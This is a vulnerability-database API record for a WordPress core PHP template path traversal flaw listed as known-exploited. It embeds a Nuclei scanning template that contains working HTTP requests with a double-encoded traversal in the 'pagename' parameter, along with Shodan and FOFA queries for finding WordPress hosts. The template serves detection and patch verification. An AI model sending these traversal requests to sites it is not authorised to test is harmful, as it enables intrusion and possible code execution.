{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-87902/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-87902/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-87902/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-87902/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-87902/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-87902"},"sightings":{"href":"/api/v1/sightings/cve-2026-87902"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.02877,"kev":true,"percentile":0.86275},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-87902.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-87902\n\ninfo:\n  name: WordPress Core - PHP Template Path Traversal\n  author: Hadrian,FLX\n  severity: critical\n  description: |\n    An unauthenticated attacker can make `get_page_template()` page-template resolution include a chosen readable local `.php` file outside the active theme directories. If relevant pre-conditions for both the server and the active theme are met, this can lead to RCE.\n  impact: |\n    An unauthenticated attacker can include local PHP files outside the active theme. Depending on the files present and the PHP configuration, this can disclose sensitive data or lead to arbitrary code execution.\n  remediation: |\n    Update WordPress to a patched maintenance release for the installed branch.\n  reference:\n    - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp\n    - https://github.com/WordPress/WordPress/commit/fdeab470f4b4062462cf8ccdc788f258683c2d6f\n    - https://hadrian.io/vulnerability-alerts/cve-2026-87902-working-poc-wordpress-critical-path-traversal\n  classification:\n    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N\n    cvss-score: 9.2\n    cve-id: CVE-2026-87902\n    epss-score: 0.02877\n    epss-percentile: 0.86275\n    cwe-id: CWE-98\n  metadata:\n    verified: true\n    max-request: 6\n    vendor: wordpress\n    product: wordpress\n    framework: wordpress\n    shodan-query: http.component:\"WordPress\"\n    fofa-query: app=\"WordPress\"\n  tags: cve,cve2026,wordpress,wp-core,lfi,unauth,vkev,kev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /wp-json/wp/v2/pages?per_page=1&_fields=id HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        GET /?rest_route=/wp/v2/pages&per_page=1&_fields=id HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    redirects: false\n    stop-at-first-match: true\n\n    matchers:\n      - type: dsl\n        internal: true\n        dsl:\n          - 'regex(\"\\\"id\\\"\\\\s*:\\\\s*[0-9]+\", body) || regex(\"(?:page_id=|page-id-|page-item-)[0-9]+\", body)'\n          - 'status_code == 200'\n        condition: and\n\n    extractors:\n      - type: regex\n        name: page_id\n        part: body\n        internal: true\n        group: 1\n        regex:\n          - '\"id\"\\s*:\\s*([0-9]+)'\n          - '(?:page_id=|page-id-|page-item-)([0-9]+)'\n\n  - raw:\n      - |\n        POST /?page_id={{page_id}}&pagename=templates%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fwp-includes%252Ftheme-compat%252Ffooter HTTP/1.1\n        Host: {{Hostname}}\n        Content-Length: 0\n\n      - |\n        POST /?page_id={{page_id}}&pagename=templates%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fwp-links-opml HTTP/1.1\n        Host: {{Hostname}}\n        Content-Length: 0\n\n    stop-at-first-match: true\n    redirects: false\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"<div id=\\\"footer\\\" role=\\\"contentinfo\\\">\", \"having the \\\"powered by\\\" link somewhere on your blog\") || contains_all(body, \"opml version\", \"generator=\\\"WordPress\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 490a004630440220641b0ce3eac4f8db490c0f977d52760adab0fc28fcaaaa41b68e17e929e0f49f02204ded392fd30949dc99e05086a438371a24479cd62401e67888c81e84a7d5a11c:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2026-87902"}